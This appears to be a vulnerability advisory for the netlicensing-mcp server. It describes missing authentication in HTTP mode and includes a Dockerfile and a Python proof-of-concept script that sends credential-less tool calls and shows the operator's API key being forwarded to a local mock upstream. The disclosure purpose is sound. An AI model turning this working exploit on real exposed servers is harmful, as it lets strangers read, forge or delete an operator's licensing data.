Details
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.
Concrete consequences include:
- Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
- Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
- Availability: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.
Who is impacted: Operators who deploy netlicensing-mcp in HTTP transport mode (python3 -m netlicensing_mcp.server http) with NETLICENSING_API_KEY set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
RUN apt-get update && apt-get install -y --no-install-recommends git \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py
# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 — Missing Authentication for Critical Function
Attack scenario:
1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
5. The upstream NetLicensing REST API receives the operator's credential — attacker
effectively uses the operator's account for all MCP tool invocations.
Expected evidence: mock upstream prints
Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""
import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ─── Configuration ────────────────────────────────────────────────────────────
MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var
# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────
captured_requests: list[dict] = []
mock_ready = threading.Event()
class MockUpstreamHandler(BaseHTTPRequestHandler):
def _handle(self):
auth = self.headers.get("Authorization", "<none>")
entry = {
"method": self.command,
"path": self.path,
"authorization": auth,
}
captured_requests.append(entry)
print(
f"[MOCK_UPSTREAM] {self.command} {self.path} "
f"Authorization={auth}",
flush=True,
)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
do_GET = _handle
do_POST = _handle
do_PUT = _handle
def log_message(self, *args):
pass
def _run_mock(port: int) -> None:
srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
mock_ready.set()
srv.serve_forever()
# ─── Helpers ─────────────────────────────────────────────────────────────────
def _decode_basic(header: str) -> str | None:
if not header.startswith("Basic "):
return None
try:
return base64.b64decode(header[6:]).decode()
except Exception:
return None
async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
"""Poll until the MCP /health endpoint responds or timeout."""
import httpx
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
async with httpx.AsyncClient() as c:
r = await c.get(f"http://{host}:{port}/health", timeout=1)
if r.status_code < 500:
return True
except Exception:
pass
await asyncio.sleep(0.4)
return False
# ─── PoC ──────────────────────────────────────────────────────────────────────
async def main() -> None:
# 1. Start mock upstream
t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
t.start()
mock_ready.wait(timeout=5)
print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
# 2. Launch vulnerable MCP server in HTTP mode with server-side API key
env = os.environ.copy()
env.update({
"NETLICENSING_API_KEY": SERVER_API_KEY,
"NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
"MCP_HOST": "127.0.0.1",
"MCP_PORT": str(MCP_PORT),
})
proc = subprocess.Popen(
[sys.executable, "-m", "netlicensing_mcp.server", "http"],
env=env,
cwd="/app/repo",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)
ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
if not ready:
# /health may not exist; just wait a fixed time
print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
await asyncio.sleep(5)
if proc.poll() is not None:
_, err = proc.communicate()
print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
sys.exit(1)
print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
# 3. Attack: connect WITHOUT any API key and invoke a tool
print(
"\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
"with NO client API key ...",
flush=True,
)
try:
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async with streamablehttp_client(
f"http://127.0.0.1:{MCP_PORT}/mcp"
) as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"netlicensing_list_products", {"filter": ""}
)
print(f"[*] Tool call succeeded: {result}", flush=True)
except Exception as exc:
print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
finally:
proc.terminate()
await asyncio.sleep(0.5)
# 4. Evaluate captured evidence
print("\n" + "=" * 70, flush=True)
print("CAPTURED UPSTREAM REQUESTS:", flush=True)
for req in captured_requests:
print(f" {req['method']} {req['path']}", flush=True)
print(f" Authorization: {req['authorization']}", flush=True)
decoded = _decode_basic(req["authorization"])
if decoded:
print(f" Decoded: {decoded}", flush=True)
print("=" * 70, flush=True)
# 5. Verdict
server_key_leaked = any(
SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
for r in captured_requests
)
if server_key_leaked:
print(
f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
flush=True,
)
sys.exit(0)
elif not captured_requests:
print(
"\n[FAIL] No upstream requests captured — the MCP tool call did not "
"reach the upstream API.",
flush=True,
)
sys.exit(2)
else:
print(
"\n[FAIL] Upstream requests captured but server API key not found in "
"Authorization headers.",
flush=True,
)
sys.exit(2)
if __name__ == "__main__":
asyncio.run(main())